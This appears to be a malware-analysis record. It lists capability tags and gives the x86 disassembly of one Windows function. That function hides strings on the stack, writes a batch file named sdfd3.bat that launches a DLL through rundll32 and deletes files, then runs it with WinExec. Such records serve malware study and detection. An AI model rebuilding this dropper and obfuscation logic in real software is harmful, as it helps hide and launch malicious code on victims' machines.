Function at 0x4010a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x298
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], bl
mov byte [esp + 0xb4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0xb5]
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x17c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0xb4]
xor esi, esi
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x50]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x118]
rep stosd dword es:[edi], eax
mov al, 0x70
mov cl, 0x6d
mov byte [esp + 0x3e], al
mov byte [esp + 0x2b], al
xor eax, eax
mov byte [esp + 0x3d], cl
mov dword [esp + 0x2d], eax
mov byte [esp + 0x2a], cl
mov dword [esp + 0x31], eax
mov ecx, 0x18
mov word [esp + 0x35], ax
lea edi, [esp + 0x17d]
mov byte [esp + 0x37], al
mov dword [esp + 0x40], esi
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dl, 0x74
mov dword [esp + 0x11], ecx
mov dword [esp + 0x44], esi
mov dword [esp + 0x15], ecx
mov byte [esp + 0x38], 0x6c
mov dword [esp + 0x19], ecx
mov byte [esp + 0x39], 0x7a
stosw word es:[edi], ax
mov dword [esp + 0x1d], ecx
mov byte [esp + 0x3a], 0x67
mov word [esp + 0x21], cx
mov byte [esp + 0x3b], 0x2e
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3f], bl
mov dword [esp + 0x48], esi
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x25], 0x7a
mov byte [esp + 0x26], 0x67
mov byte [esp + 0x27], 0x31
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], dl
mov byte [esp + 0x2c], bl
stosb byte es:[edi], al
mov byte [esp + 0x23], cl
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0x78
mov byte [esp + 0x17], dl
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x17c]
lea edx, [esp + 0x17c]
push 0x64
rep stosd dword es:[edi], eax
push edx
mov byte [esp + 0x1b], 0x65
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x17c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x50]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x64
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x50]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x50]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xb4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebp
lea edx, [esp + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x38]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x118]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.sdfd3.bat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x50]
and ecx, 3
push eax
push 0x403034
push 0x81
rep movsb byte es:[edi], byte [esi]
call fcn.00401000
lea ecx, [esp + 0xc0]
push ecx
push 0x403034
push 0x81
call fcn.00401000
lea edx, [esp + 0x194]
push edx
push 0x403030
push 0x83
call fcn.00401000
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x205]
mov byte [esp + 0x204], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x269]
mov byte [esp + 0x268], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add esp, 0x24
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x1e0]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x244]
rep stosd dword es:[edi], eax
push 0x64
lea eax, [esp + 0x248]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x244]
lea edx, [esp + 0xb4]
push ecx
push edx
lea eax, [esp + 0x1e8]
push str.rundll32.exe__s_Run_r_ndel___s_
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
lea ecx, [esp + 0x118]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea edi, [esp + 0x1e0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0x4c]
push ebx
dec ecx
push edx
lea eax, [esp + 0x1e8]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x118]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x298
ret 0x10